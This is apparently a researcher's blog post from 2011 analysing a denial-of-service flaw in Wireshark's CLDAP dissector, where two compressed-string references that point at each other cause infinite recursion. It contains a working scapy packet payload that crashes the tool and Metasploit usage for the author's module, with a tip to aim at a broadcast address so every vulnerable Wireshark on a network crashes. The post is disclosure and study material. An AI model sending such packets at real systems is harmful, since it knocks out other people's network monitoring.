Wed Mar 9 18:34:04 CET 2011

At least, I got DoS

On January 11th, a new version of Wireshark has been released. The release contained several security-relevant fixes. Inspired by this fact, on a rainy evening I decided to have a closer look. 'There must be a bit more of that', I thought.

So I fired up my browser and helped myself to the latest Wireshark sorce code (which was version 1.4.3 at that point of time). After unpacking it, I went straight to the dissectors, which reside in the souce directory under epan/dissectors (that I knew from reading the advisories for the bugs fixed in 1.4.3).

Due to Wireshark having more than 1,000 different packet dissectors in this directory, I chose a pretty dumb approach to find interesting code parts:

/wireshark-1.4.3/epan/dissectors$ grep -Hrn memcpy packet-* | less
- a command that yields 553 results. So I scrolled through that list for a bit and finally decided to take a closer look at packet-ldap.c, containing the following tvb_memcpy call:
packet-ldap.c:4020:    tvb_memcpy(tvb, str, offset, len);
The corresponding function is:
int dissect_mscldap_string(tvbuff_t *tvb, int offset, char *str, int maxlen, gboolean prepend_dot)

- which can be found in line 3974 of packet-ldap.c.

The reason why I greped for memcpy was that I hoped to find some code where memcpy is used in a way which introduces a Buffer Overflow.

I quickly checked the tvb_memcpy function for what it does. It is defined in /epan/tvbuff.c and as I suspected, it's a wrapper around good old memcpy which copies from the packet buffer at offset exactly len bytes to str.

But now let's have a look at the function body:

01 int dissect_mscldap_string(tvbuff_t *tvb, int offset, char *str, int maxlen, gboolean prepend_dot)
02 {
03  guint8 len;

04  len=tvb_get_guint8(tvb, offset);
05  offset+=1;
06  *str=0;
07  attributedesc_string=NULL;

08  while(len){
09    /* add potential field separation dot */
10    if(prepend_dot){
11      if(!maxlen){
12        *str=0;
13        return offset;
14      }
15      maxlen--;
16      *str++='.';
17      *str=0;
18    }

19    if(len==0xc0){
20      int new_offset;
21      /* ops its a mscldap compressed string */

22      new_offset=tvb_get_guint8(tvb, offset);
23      if (new_offset == offset - 1)
24        THROW(ReportedBoundsError);
25      offset+=1;

26      dissect_mscldap_string(tvb, new_offset, str, maxlen, FALSE);

27      return offset;
28    }

29    prepend_dot=TRUE;

30    if(maxlen<=len){
31      if(maxlen>3){
32        *str++='.';
33        *str++='.';
34        *str++='.';
35      }
36      *str=0;
37      return offset; /* will mess up offset in caller, is unlikely */
38    }
39    tvb_memcpy(tvb, str, offset, len);
40    str+=len;
41    *str=0;
42    maxlen-=len;
43    offset+=len;

44    len=tvb_get_guint8(tvb, offset);
45    offset+=1;
46  }
47  *str=0;
48  return offset;
49 }

The part I grep'ed for can be found on line 39, where tvb_memcpy copies from the tvb buffer into str. The tvb buffer is the buffer holding the packet data that came across the wire. At this point, my question was:

Can we overflow str in this function?

Unfortunately, turns out we can't. First I checked all calls to this function, and all calls came with a 256 byte long char buffer and a maxlen set to 255. The part of the packet at offset is a length field followed by a string of that length. The length len, which is read as an 8-Bit-value form the tvb buffer in line 04 cannot be greater than 255. And a proper check for maxlen (sized sufficiently) is performed in line 30.

Now you may ask, 'WhyTF does he bore me with non-exploitable code?!' Well, as the title already suggests - at least, I got DoS.

On line 19, a special case is handled, namely compressed strings. This means by a length of 0xc0, it is denoted that the following string is not a string of length 0xc0, but rather an offset into the packet referencing another string. This concept was familiar to me, it's used in DNS as well. Not so suprisingly there were issues within DNS handling code regarding those compressed strings.

Such compressed strings look like this, for instance: We have string1, describing 'recurity.com', at offset 0x23; plus we have another string2, which is 'foo.recurity.com', at another offset. This string2 can be compressed to '\x03foo\xc0\x23' - so now we'd have a string2 containing the length of 'foo' (\x03), and a reference to the offset which contains '\x08recurity\x03com'.

Let's read that part again:

19    if(len==0xc0){
20      int new_offset;
21      /* ops its a mscldap compressed string */

22      new_offset=tvb_get_guint8(tvb, offset);
23      if (new_offset == offset - 1)
24        THROW(ReportedBoundsError);
25      offset+=1;

26      dissect_mscldap_string(tvb, new_offset, str, maxlen, FALSE);

27      return offset;
28    }

As you can see, in line 26 there's a recursive call to dissect_mscldap_string. And in line 23, the offset is checked for not pointing to itself, because this would cause an infinite recursion. But, wait a minute - what if...

   +--------+   +--------+
   | label1 |   | label2 |
   +--------+   +--------+
     \__^_________^ /
         \_________/

...there was a label1 pointing to a label2, with that label2 pointing to label1 again?!

With this wee little trick we'd pass the self-reference check, but also gain infinite recursion, as both strings reference each other.

I decided I definetly wanted a PoC for this bug. Even if it's 'just a DoS', it might be entertaining enough to crash other folks' Wireshark ;) Developing a PoC was pretty straight forward. Again I chose kind of a lazy approach: Since the code handles Connectionless LDAP (hence CLDAP), I searched on the Internet for a bit and found this fancy site, where I grabbed the file 'samba4-join-rtl8139.pcap' containing some CLDAP packets. Wireshark happily dissected the CLDAP packets, especially the netlogon response:

The highlighted part contains a string reference to the very first string labeled 'Forest' with offset 0x18. So I dumped the whole UDP payload of that packet and pasted it into scapy. After this, I replaced the 'Forest' string with a reference to offset 0x1A and a reference back to 0x18 directly afterwards. In scapy, it'd look like this:

send(IP()/UDP(dport='ldap',sport=1025)/("\x30\x81\xa2\x02\x01\x01\x64\x81\x9c\x04\x00\x30\x81\x97\x30\x81\x94\x04\x08\x6e\x65\x74
\x6c\x6f\x67\x6f\x6e\x31\x81\x87\x04\x81\x84\x17\x00\x00\x00\xfd\x03\x00\x00\xda\xae\x52\xd0\x2f\xb4\xa9\x48\x8b\x16\x4e\xbc\x51
\xf9\x60\xb4" + "\xc0" + "\x1a"  +  "\xc0" + "\x18" +  "\x0e\x63\x6f\x6e\x74\x61\x63\x74\x2d\x73\x61\x6d\x62\x61\x34\xc0\x18\x0a
\x43\x4f\x4e\x54\x41\x43\x54\x44\x4f\x4d\x00\x10\x5c\x5c\x43\x4f\x4e\x54\x41\x43\x54\x2d\x53\x41\x4d\x42\x41\x34\x00\x00\x00\x00
\xc0\x61\x05\x00\x00\x00\xff\xff\xff\xff\x30\x0c\x02\x01\x01\x65\x07\x0a\x01\x00\x04\x00\x04\x00"))

This did the job just right - Wireshark silently crashed when sniffing on the loopback device.

This issue has been fixed in Wireshark version 1.4.4 which you can get here. Additionally I wrote a ready to use Metasploit Module which is availabe via msfupdate. The usage is quite simple:


msf > use auxiliary/dos/wireshark/cldap 
msf auxiliary(cldap) >show options

Module options (auxiliary/dos/wireshark/cldap):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  389              yes       The destination port
   SHOST                   no        This option can be used to specify a spoofed source address

msf auxiliary(cldap) > set RHOST 192.168.1.255
msf auxiliary(cldap) > run 

Pro-tip: Use the local networks' broadcast address as RHOST to crash all vulnerable Wiresharks running in your network segment :).


Posted by Joern | Permanent link